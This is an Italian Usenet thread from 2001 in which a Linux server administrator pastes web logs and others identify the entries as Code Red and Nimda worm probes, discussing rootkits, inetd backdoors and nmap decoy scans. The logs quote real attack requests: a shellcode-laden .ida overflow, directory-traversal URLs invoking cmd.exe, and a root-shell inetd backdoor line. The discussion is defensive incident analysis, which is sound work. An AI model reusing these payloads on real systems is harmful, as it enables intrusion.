Newsgroup: it.comp.sicurezza.unix
Titolo: log degli accessi

Salve a tutti,
leggendo il file 'access' in /var/log ho trovato questo:
[26/Sep/2001:04:34:27 +0100] "GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 302 627 "-" "-"
- - [26/Sep/2001:04:35:42 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 302
230 "-" "-"
- - [26/Sep/2001:04:35:42 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 302
228 "-" "-"
- - [26/Sep/2001:04:35:42 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 302 238 "-" "-"
- - [26/Sep/2001:04:35:42 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 302 238 "-" "-"
- - [26/Sep/2001:04:35:42 +0100] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 254 "-" "-
- - [26/Sep/2001:04:35:42 +0100] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 302 275 "-" "-"
- - [26/Sep/2001:04:35:42 +0100] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 302 275 "-" "-"
- - [26/Sep/2001:04:35:42 +0100] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 302 303 "-" "-"
- - [26/Sep/2001:04:35:42 +0100] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 255 "-" "-"
- - [26/Sep/2001:04:35:42 +0100] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 645 "-" "-"
Ho omesso l'IP, il server ha installato Red Hat 6.1 kernel 2.4.
Qualcuno ha idea di cosa hanno tentato di fare? Ultimamente fra l'altro
qualcuno si sta divertendo a sfruttare l'indirizzo IP per andare in giro a
fare portscanning: sapreste darmi qualche dritta su come fare a beccarlo o
cosa guardare sui file di log?
Vi ringrazio tantissimo.
Stefano.

 leggendo il file 'access' in /var/log ho trovato questo:
Uhm... sembra che tu abbia vissuto sulla luna in questi giorni.
Si chiama nimda ed e' un bellissimo nuovo virus che attacca il client, il
quale attacca il server IIS il quale attacca il client il quale ecc...
ecc...
-- 
* Cristiano Deana - Amante del demone rosso col forcone in mano *
* Wind*ws non danneggia, i formati proprietari si'. Boicottali! *
* Il tuo HTML si e' mangiato la banda che serviva al mio reply! *
* Fai attenzione all'indirizzo modificato antispam se mi scrivi *


wrote:
Ciao,
non e' il nimba ma bensi' gli attachhi da parte di CodeRed.
Questo virus attacca sistemi Microsof, di questi ne troverai un vagone
Gli altri  invece sono gli attachi di coloro che tentano di  craccare
sito web. 
Se usi unix non avere problemi in quanto la directory Winnt sulla tua
macchina non esiste.
Bye Bye Giancarlo


 ha scritto nel messaggio
news:hqp6rtod0ofnqk6m3...@4ax.com...


 fare portscanning: sapreste darmi qualche dritta su come fare a beccarlo o
Uhm, questa la devi approfondire:
Cosa intende che sta andando in giro a fare portscanning  sfruttando l'IP?
Sta facendo portscan AL tuo IP?
Ha spoofato il TUO  IP e a te arrivano i risultati dello scan (inutile,
 direi, come mossa, ma ...)
Si e' effettivamente impossessato del tuo pc, infilandoti un root kit, e sta 
facendosi i suoi porci comodi dando la colpa a te? La tua release era 
piuttosto vulnerabile, alcuni mesi fa, al ramen e ad un altro di cui al 
momento mi sfugge il nome, uno che lavorava sul bind, e l'altro su lprng, 
e anche con rpc.statd non c'era da stare tranquilli, insomma, se non avevi
patchato ben bene con i consigli per la sicurezza, ti hanno aperto come un 
fico maturo.

 fico maturo.
:)))))))))))))))
Grazie.
Stefano.

/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 645 "-" "-"
Se ti puo' tranquillizzare anche io nel log ho gli stessi tentativi (se vuoi
ti posso anche dare gli ip da cui provengono, se ti puo' servire)
Io non mi preoccuperei piu' di tanto, il mio apache si e' limitato a
rispondere con dei 404....
sempre che tu non abbia win nt nel qual caso evidentemente preoccuparsi e'
bene :)
Fabio IZ4AFW
 - Effugere nemo id potest, quod futurum est (Publilio Siro) -
--
EMail			fabio (dot) mantovani (at) inwind (dot) it
			iz4afw (at) amsat (dot) org
	- PGP key available on request -
Home Page		
http://www.qsl.net/iz4afw
*** Please remove NOSPAM to reply via email ***

 mettere le mani per trovare qualche traccia per risalire all'hacker;
Te l'ho detto, i root kit si proteggono modificando tutti gli strumenti 
che potrebbero scoprirli.
Potresti provare a prendere i sorgenti di alcuni strumenti di amministrazione
e controllo (netcat, nmap, netstat, ls, etc...) ricompilarli, e vagolare 
nelle directory e tra le porte per vedere se c'e' qualcosa di strano.
Ma fai prima a installare un sistema minimo su un altro disco, fare il mount
del disco di sistema, e andare a cercare cose strane.


Penso anch'io che farei prima davvero.
E di ricompilare il kernel cosa ne dici?
Grazie ancora :)

 > momento mi sfugge il nome, uno che lavorava sul bind, e l'altro su lprng,
The lion worm.
Qui c'e' anche un tool per rilevarlo.
http://www.sans.org/y2k/lion.htm
Puoi postare il tuo /etc/inetd.conf?
Mi piacerebbe dare un'occhiata alle ultime righe...
Ciao
JDC

 JDC
Inutile, come scritto sopra gli intelligentoni hanno reinstallato tutto...
Cosa avresti cercato?

 Cosa avresti cercato?
un servizio  che permetta di eseguire un comando sulla macchina da
remoto, del tipo:
xxx stream tcp nowait root /bin/xxx
lion usava 
asp stream tcp nowait root /bin/asp
dove asp faceva parte del t0rn rootkit. Mi sembra di ricordare di aver
visto addirittura un eclatante
xxx stream tcp nowait root /bin/sh
Se avesi visto inoltre imap e rsh attivi avrei anche dato un'occhiata
alle utenze: infatti un'altra possibilita' per far eseguire ad una
macchina un portscan di altri host da remoto e' quella di sfruttare una
debolezza di certe versioni di imap, che permettono di assegnare una
password ad utenti che ne sono privi, quali nobody; una volta assegnata
a nobody una password se rsh e' attivo e non wrappato adeguatamente...
In ogni caso l'unica cosa da fare se esiste il sospetto di avere un
rootkit sulla macchina e' far pulito; ma esaminarla prima per benino
fuori linea puo' essere istruttivo.
Ciao 
JDC


Il tuo server ha funzionalità di PROXY ? 
Roby198

 Roby198
Non è attivata.

 a nobody una password se rsh e' attivo e non wrappato adeguatamente...
# Pop and imap mail services et al
#
#pop-2   stream  tcp     nowait  root    /usr/sbin/tcpd ipop2d
pop-3   stream  tcp     nowait  root    /usr/sbin/tcpd in.qpopper -R
imap    stream  tcp     nowait  root    /usr/sbin/tcpd imapd
#
# These are standard services.
#
ftp stream tcp nowait root /usr/sbin/tcpd in.proftpd
Questi sono gli unici attivi, mi sembra tutto a posto...
Ti ripeto, č stata fatta pulizia perň

 Ti ripeto, è stata fatta pulizia però
Beh, prima stavamo parlando di analisi di vulnerabilita' a posteriori.
Ora di un'analisi a priori. 
In questo caso occhio a bersagli per exploit noti quali bind, imapd ed
utenti senza password, lpr, e soprattutto ftpd. Riguardo a quest'ultimo
personalmente uso il port per RH dell'open bsd ftpd: lo preferisco dal
punto di vista della sicurezza a wu-ftpd e pro-ftpd.
Wrappa meglio che puoi e dai una scorsa ai security advisories su
redhat, sans e cert. 
ciao
JDC

 JDC
Grazie ancora, da (quasi) oggi in poi starò con gli occhi ben aperti :)
Mi manderesti una mail in privato? ;)
Stefano

 E di ricompilare il kernel cosa ne dici?
Ha poca importanza.
Ben difficilmente chi infila un rootkit in una macchina sta li' a patchare
il kernel, e poi lo ricompila.
Anche perche', poi, dovrebbe farti riavviare il server, e non puo' avere
la certezza di due cose: 
che dopo, il server riparta con il suo kernel patchato;
che tu sia cosi' bacalone da non vedere una riavvio del sistema come un 
fatto da analizzare approfonditamente.
Potrebbe forse tentare qualche giochino con i moduli, ma e' comunque 
improbabile.

Ma di questo se ne dovrebbe accorgere l'admin del server bersaglio.
Mi pare che nmap permetta il portscan con l'opzione -D per decoy,
cioe' invia all'host remoto una serie di IP definiti dopo
l'opzione -D (oltre a quello esatto) per cui dall'altra parte non
si capisce da quale degli indirizzi provengano gli scan.
Dall'host colpito magari, non sapendo individuare da quale IP
venga lo scan, mandano lettere di protesta a tutti gli indirizzi
(infatti il giochetto dei decoys funziona bene se tutte le macchine
degli altri IP sono attive).
-- 
 Bye, Johnny   |   PCC lives!                              
jb...@kaosmic.net
 --------------+------------------------------------------------------------
   Free your   |   "If you like it you catch it"
      fry      |       - Johnny -


Uhmmm... leggendo questi post sono corso anche io a controllare i files di log
del mio webserver
e..... ho trovato quello che potete leggere di seguito (ho mascherato gli IP):
[Mon Oct  1 14:05:53 2001] [error] [client 217.56.xxx.xxx] File does not exist:
/var/www/default/scripts/root.exe
/bin/sh: /usr/sbin/advxsplitlogfile: File o directory inesistente
[Mon Oct  1 14:05:54 2001] [error] [client 217.56.xxx.xxx] File does not exist:
/var/www/default/MSADC/root.exe
[Mon Oct  1 14:05:54 2001] [error] [client 217.56.xxx.xxx] File does not exist:
/var/www/default/c/winnt/system32/cmd.exe
/bin/sh: /usr/sbin/advxsplitlogfile: File o directory inesistente
[Mon Oct  1 14:05:55 2001] [error] [client 217.56.xxx.xxx] File does not exist:
/var/www/default/d/winnt/system32/cmd.exe
[Mon Oct  1 14:05:55 2001] [error] [client 217.56.xxx.xxx] File does not exist:
/var/www/default/scripts/..%5c../winnt/system32/cmd.
il log si ripete ad intervalli di tempo di una-due ore, riportando indirizzi IP
differenti ogni volta. Sicuramente è qualcuno o qualche virus
che tenta di penetrare nel sistema... comunque non mi preoccupo + di tanto per
il fatto che la macchina monta Linux come S.O (voglio
proprio vedere dove trova C:\winnt\ e company...) ed è schermata dietro un
firewall che permette l'accesso
ad essa solo tramite la porta 80 (http).
Comunque per curiosità ho inserito nel browser un indirizzo IP tra quelli
trovati e.... sorpresa!!! Norton Antivirus si è "svegliato"
proponendomi il seguente messaggio:
Tipo scansione:  Protezione in tempo reale Scansione
Evento:  Trovato virus!
Nome virus: W32.Nimda.A@mm(html)
File:  C:\Documents and Settings\axel\Impostazioni locali\Temporary Internet
Files\Content.IE5\KLGXQ3KF\217.56.242[1].htm
Posizione:  C:\Documents and Settings\axel\Impostazioni locali\Temporary
Internet Files\Content.IE5\KLGXQ3KF
Computer:  ZEUS
Utente:  Axel
Azione intrapresa:  Quarantena non riuscito : Ripulisci riuscito : Accesso
consentito
Questo spiega praticamente tutto.
Saluti,
Axel.